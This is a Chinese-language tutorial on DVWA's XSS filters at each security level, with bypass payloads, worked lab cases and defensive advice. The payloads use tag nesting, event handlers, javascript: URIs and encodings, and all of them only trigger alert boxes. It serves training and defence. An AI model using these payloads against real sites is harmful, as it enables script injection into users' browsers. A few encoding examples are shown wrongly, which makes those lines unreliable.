DVWA XSS WAF绕过:常见过滤规则与绕过方法
【免费下载链接】DVWA Damn Vulnerable Web Application (DVWA) 项目地址: https://gitcode.com/gh_mirrors/dv/DVWA
引言
跨站脚本(Cross-Site Scripting, XSS)是Web应用中最常见的安全漏洞之一。Damn Vulnerable Web Application (DVWA)作为一款经典的漏洞测试平台,提供了多种XSS场景的实践环境。本文将深入分析DVWA中XSS(存储型、反射型、DOM型)在不同安全级别下的WAF(Web Application Firewall, Web应用防火墙)过滤规则,并系统介绍有效的绕过方法,帮助安全测试人员和开发人员全面理解XSS防御机制与绕过技术。
XSS类型与DVWA环境概述
XSS主要分为三类:
- 反射型XSS(Reflected XSS):恶意脚本通过URL参数等方式传入,服务器处理后立即反射回客户端执行。
- 存储型XSS(Stored XSS):恶意脚本被存储在服务器数据库或文件中,用户访问相关页面时被读取并执行。
- DOM型XSS(DOM-based XSS):客户端JavaScript通过DOM操作动态修改页面内容时,未对用户输入进行正确过滤,导致恶意脚本执行。
DVWA为这三类XSS分别提供了低(Low)、中(Medium)、高(High)和不可能(Impossible)四个安全级别,模拟了不同强度的WAF防护措施。
DVWA XSS过滤规则分析
1. 反射型XSS(Reflected XSS)
低级别(Low)
<?php
header ("X-XSS-Protection: 0");
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
$html .= '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>
过滤规则:无任何过滤措施,直接将用户输入的name参数拼接到HTML响应中。
中级别(Medium)
<?php
header ("X-XSS-Protection: 0");
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
$name = str_replace( '<script>', '', $_GET[ 'name' ] );
$html .= "<pre>Hello {$name}</pre>";
}
?>
过滤规则:使用str_replace函数将输入中的<script>字符串替换为空。
高级别(High)
<?php
header ("X-XSS-Protection: 0");
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
$html .= "<pre>Hello {$name}</pre>";
}
?>
过滤规则:使用正则表达式/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i匹配并移除任何包含script字符序列(不区分大小写,字符间允许有其他字符)的标签。
2. 存储型XSS(Stored XSS)
低级别(Low)
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
$message = stripslashes( $message );
$message = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message );
$name = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name );
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query );
}
?>
过滤规则:仅对输入进行了SQL注入防护(mysqli_real_escape_string),未对XSS攻击进行任何过滤。
中级别(Medium)
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
$message = strip_tags( addslashes( $message ) );
$message = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message );
$message = htmlspecialchars( $message );
$name = str_replace( '<script>', '', $name );
$name = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name );
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query );
}
?>
过滤规则:
- 对
message字段使用strip_tags(移除HTML标签)、addslashes(添加反斜杠转义)和htmlspecialchars(将特殊字符转换为HTML实体)进行多重过滤。 - 对
name字段使用str_replace函数将<script>字符串替换为空。
高级别(High)
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
$message = strip_tags( addslashes( $message ) );
$message = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message );
$message = htmlspecialchars( $message );
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
$name = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name );
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query );
}
?>
过滤规则:
- 对
message字段的过滤与中级别相同。 - 对
name字段使用与反射型XSS高级别相同的正则表达式过滤script标签。
3. DOM型XSS(DOM-based XSS)
低级别(Low)
<?php
# No protections, anything goes
?>
过滤规则:无任何服务器端过滤措施,完全依赖客户端JavaScript处理。
中级别(Medium)
<?php
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
$default = $_GET['default'];
if (stripos ($default, "<script") !== false) {
header ("location: ?default=English");
exit;
}
}
?>
过滤规则:使用stripos函数检测default参数中是否包含<script(不区分大小写),如果包含则重定向到默认页面。
高级别(High)
<?php
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
switch ($_GET['default']) {
case "French":
case "English":
case "German":
case "Spanish":
# ok
break;
default:
header ("location: ?default=English");
exit;
}
}
?>
过滤规则:采用白名单机制,仅允许default参数的值为"French"、"English"、"German"或"Spanish",其他值均重定向到默认页面。
4. 不可能级别(Impossible)
以存储型XSS为例:
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
$message = stripslashes( $message );
$message = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message );
$message = htmlspecialchars( $message );
$name = stripslashes( $name );
$name = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name );
$name = htmlspecialchars( $name );
$data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );
$data->bindParam( ':message', $message, PDO::PARAM_STR );
$data->bindParam( ':name', $name, PDO::PARAM_STR );
$data->execute();
}
generateSessionToken();
?>
防护措施:
- 使用Anti-CSRF Token防止跨站请求伪造。
- 对所有用户输入使用
htmlspecialchars进行HTML实体编码。 - 使用PDO预编译语句(Prepared Statements)防止SQL注入。
- 综合运用多种安全措施,使XSS攻击几乎不可能成功。
XSS WAF绕过方法
1. 针对<script>标签过滤的绕过
大小写混淆
适用于区分大小写的简单字符串替换过滤(如反射型XSS中级别)。
<Script>alert('XSS')</Script>
<SCript>alert('XSS')</SCript>
标签嵌套
利用过滤函数仅替换一次的特性。
<sc<script>ript>alert('XSS')</sc</script>ript>
当str_replace('<script>', '', input)处理时,中间的<script>被移除,剩余部分拼接形成完整的<script>alert('XSS')</script>。
使用其他标签
除了<script>标签,HTML中还有许多标签可以执行JavaScript:
<img src=x onerror=alert('XSS')>
<body onload=alert('XSS')>
<svg onload=alert('XSS')>
<div onclick=alert('XSS')>Click me</div>
<a href=javascript:alert('XSS')>Click me</a>
2. 针对复杂正则过滤的绕过
字符插入与编码
针对高级别反射型XSS中/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i的过滤:
<scr<script>ipt>alert('XSS')</scr</script>ipt> <!-- 嵌套绕过 -->
<s<script>cript>alert('XSS')</s</script>cript> <!-- 字符插入 -->
%3Cscript%3Ealert('XSS')%3C/script%3E <!-- URL编码 -->
<script>alert('XSS')</script> <!-- HTML实体编码 -->
事件处理与伪协议
<img src="javascript:alert('XSS')"> <!-- 伪协议 -->
<div onmouseover="alert('XSS')">Hover me</div> <!-- 鼠标事件 -->
<input type="text" onfocus="alert('XSS')" autofocus> <!-- 自动聚焦事件 -->
3. 针对DOM型XSS的绕过
低级别DOM XSS
直接注入事件或伪协议:
?default=<img src=x onerror=alert('XSS')>
?default=javascript:alert('XSS')
中级别DOM XSS
绕过<script检测:
?default=<img src=x onmouseover=alert('XSS')> <!-- 不使用<script标签 -->
?default=<svg><script>alert('XSS')</script></svg> <!-- <script前有其他字符 -->
高级别DOM XSS
利用默认参数拼接(假设客户端JS会将default值插入到某个JS变量中):
?default=English';alert('XSS');//
如果客户端代码类似var lang = "<?php echo $_GET['default']; ?>";,则注入后变为var lang = "English";alert('XSS');//";。
4. 综合绕过技巧
利用HTML5新特性
<video poster=javascript:alert('XSS')></video>
<iframe srcdoc="<script>alert('XSS')</script>"></iframe>
利用字符编码
<img src=x onerror=alert('XSS')> <!-- 十进制ASCII编码 -->
<img src=x onerror=\u0061\u006c\u0065\u0072\u0074\u0028\u0027\u0058\u0053\u0053\u0027\u0029> <!-- Unicode编码 -->
利用Flash等插件(较过时,但仍有参考价值)
<embed src="data:application/x-shockwave-flash,PGh0bWw+PGJvZHk+PGRpdj48L2Rpdj48L2JvZHk+PC9odG1sPg==" allowscriptaccess="always"></embed>
XSS WAF绕过实战案例(DVWA环境)
案例1:反射型XSS中级别绕过
目标URL:http://dvwa.example/vulnerabilities/xss_r/?name=INPUT
过滤规则:str_replace('<script>', '', $name)
绕过方法:使用大小写混淆和事件驱动。
Payload:
?name=<Img src=x OnErRoR=alert('XSS')>
原理:<Img>标签的OnErRoR事件在图片加载失败时触发,执行alert('XSS')。由于未使用<script>标签,成功绕过过滤。
案例2:存储型XSS高级别绕过
目标:在留言板的name字段注入XSS。
过滤规则:preg_replace('/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name)
绕过方法:此字段仅过滤name字段,message字段有htmlspecialchars过滤,但name字段可注入。
Payload:
name=<a href=javascript:alert('XSS')>Click</a>&mtxMessage=Test
原理:使用<a>标签的href属性配合javascript:伪协议,不包含script字符序列,绕过正则过滤。用户点击链接时触发XSS。
案例3:DOM型XSS中级别绕过
目标URL:http://dvwa.example/vulnerabilities/xss_d/?default=INPUT
过滤规则:检测<script,存在则重定向。
绕过方法:使用<svg>标签的onload事件。
Payload:
?default=<svg onload=alert('XSS')>
原理:<svg>标签的onload事件在SVG图像加载完成时触发,且不包含<script子串,因此绕过检测。
XSS防御最佳实践
- 输入验证:对所有用户输入进行严格的类型、格式和长度验证。
- 输出编码:根据输出上下文(HTML、JavaScript、CSS、URL等)使用相应的编码函数(如
htmlspecialchars、json_encode)。 - 使用CSP:实施内容安全策略(Content Security Policy, CSP),限制脚本的加载和执行来源。
Content-Security-Policy: default-src 'self'; script-src 'self' trusted.cdn.com - 避免危险API:尽量避免使用
eval()、innerHTML、outerHTML等可能执行动态代码的API,优先使用textContent。 - 使用HttpOnly和Secure标记:为Cookie设置
HttpOnly标记防止JavaScript访问,Secure标记确保仅通过HTTPS传输。 - 实施WAF:部署Web应用防火墙,如ModSecurity,并定期更新规则库。
- 安全开发培训:提高开发人员的安全意识,了解XSS等常见漏洞的原理和防御方法。
总结与展望
XSS WAF绕过是一场持续的攻防对抗。随着WAF技术的不断发展,过滤规则日益复杂,但由于HTML、JavaScript的灵活性和历史兼容性问题,完全杜绝XSS漏洞仍然具有挑战性。安全测试人员需要深入理解各种XSS类型的原理、不同WAF的过滤机制,以及浏览器的解析特性,才能有效发现和利用潜在的绕过点。
未来,随着浏览器安全机制的增强(如更严格的CSP、内置XSS过滤器)和Web开发技术的进步(如React、Vue等框架的自动转义),传统XSS漏洞的数量可能会减少,但新型XSS变种(如基于WebAssembly的XSS)和绕过技术仍将不断涌现。因此,持续学习和实践对于安全从业人员至关重要。
通过DVWA等靶场平台模拟不同级别WAF的攻防演练,可以帮助我们更好地理解XSS漏洞的本质,掌握有效的防御和检测方法,从而在实际工作中构建更安全的Web应用。
【免费下载链接】DVWA Damn Vulnerable Web Application (DVWA) 项目地址: https://gitcode.com/gh_mirrors/dv/DVWA
创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考



